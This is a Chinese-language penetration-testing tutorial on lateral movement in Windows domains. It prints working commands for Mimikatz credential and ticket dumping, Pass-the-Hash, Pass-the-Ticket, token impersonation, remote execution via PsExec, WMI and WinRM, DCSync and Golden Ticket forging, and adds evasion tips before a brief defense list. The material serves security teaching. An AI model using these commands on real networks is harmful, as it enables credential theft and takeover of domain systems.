横向移动(Lateral Movement)是内网渗透测试中的关键阶段,指攻击者在获得初始访问权限后, 利用各种技术和工具在内部网络中扩展控制范围,最终达到攻击目标的过程。 本文将深入讲解横向移动的核心技术、工具和实战方法。
横向移动的目标
横向移动的核心目标包括:
• 获取更高权限(如域管理员)
• 访问敏感数据和系统
• 建立持久化访问
• 扩大攻击影响范围
• 为最终攻击目标做准备
一、凭据收集技术
横向移动的第一步通常是收集目标系统中的凭据信息,包括明文密码、哈希值、票据等。
内存凭据提取
从系统内存中提取明文密码和哈希值
Mimikatz
LaZagne
ProcDump
存储凭据提取
从配置文件、注册表等位置提取存储的凭据
SAM数据库
LSASS进程
浏览器存储
凭据管理器
票据提取
提取Kerberos票据用于Pass-the-Ticket攻击
mimikatz sekurlsa::tickets
Rubeus dump
klist
Mimikatz凭据提取示例
// 提取本地凭据
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords
// 提取票据
mimikatz # sekurlsa::tickets
// 导出所有票据
mimikatz # kerberos::list /export
二、Pass-the-Hash攻击
Pass-the-Hash(PTH)是一种利用NTLM哈希值进行身份验证的攻击技术, 攻击者无需知道明文密码即可访问其他系统。
PTH攻击流程
// 使用CrackMapExec进行PTH攻击
crackmapexec smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
// 使用PsExec进行PTH
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [email protected]
// 使用Mimikatz进行PTH
mimikatz # sekurlsa::pth /user:administrator /domain:test.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
三、Pass-the-Ticket攻击
Pass-the-Ticket(PTT)是利用Kerberos票据进行身份验证的攻击技术, 比PTH更隐蔽且功能更强大。
PTT攻击示例
// 使用Rubeus进行票据注入
Rubeus.exe ptt /ticket:ticket.kirbi
// 使用Mimikatz注入票据
mimikatz # kerberos::ptt ticket.kirbi
// 使用票据访问服务
mimikatz # misc::cmd
C:\Windows\system32> dir \\dc.test.local\c$
四、令牌窃取与模拟
令牌窃取是通过窃取其他进程的访问令牌来冒充其他用户的技术, 可以获得该用户的权限和访问能力。
令牌操作示例
// 使用Incognito窃取令牌
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "TEST\Administrator"
// 使用Mimikatz进行令牌操作
mimikatz # token::elevate /domainadmin
mimikatz # token::whoami
五、远程执行技术
PsExec
微软Sysinternals工具,通过创建服务执行命令
psexec \\192.168.1.100 -u admin -p password cmd.exe
WMI
Windows Management Instrumentation远程执行
wmic /node:192.168.1.100 /user:admin /password:pass process call create "cmd.exe"
WinRM
Windows Remote Management协议执行
winrs -r:192.168.1.100 -u:admin -p:password whoami
六、域环境横向移动
在Active Directory环境中,横向移动具有更多可能性和复杂性。
域信息收集
使用BloodHound、PowerView等工具收集域结构信息
权限提升
寻找具有高权限的账户或组,如Domain Admins
DCSync攻击
模拟域控同步请求,获取所有用户哈希
Golden Ticket
利用KRBTGT账户哈希创建永续票据
DCSync攻击示例
// 使用Mimikatz进行DCSync
mimikatz # lsadump::dcsync /domain:test.local /user:krbtgt
// 创建Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX /krbtgt:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /id:500 /ptt
七、隐蔽横向移动
为了避免被检测,现代横向移动越来越注重隐蔽性。
无文件攻击
将恶意代码存储在内存中,避免磁盘写入
Living-off-the-Land
使用系统自带工具进行攻击,降低检测率
合法协议滥用
滥用RDP、SMB、WinRM等合法协议进行横向移动
时间窗口利用
在业务高峰期进行活动,混入正常流量中
八、防御与检测
防御措施
- 最小权限原则:限制用户和服务账户权限
- 凭据保护:启用Credential Guard等保护机制
- 网络分段:实施微分段,限制横向移动路径
- 监控告警:部署EDR和SIEM系统
- 定期审计:审查账户权限和登录活动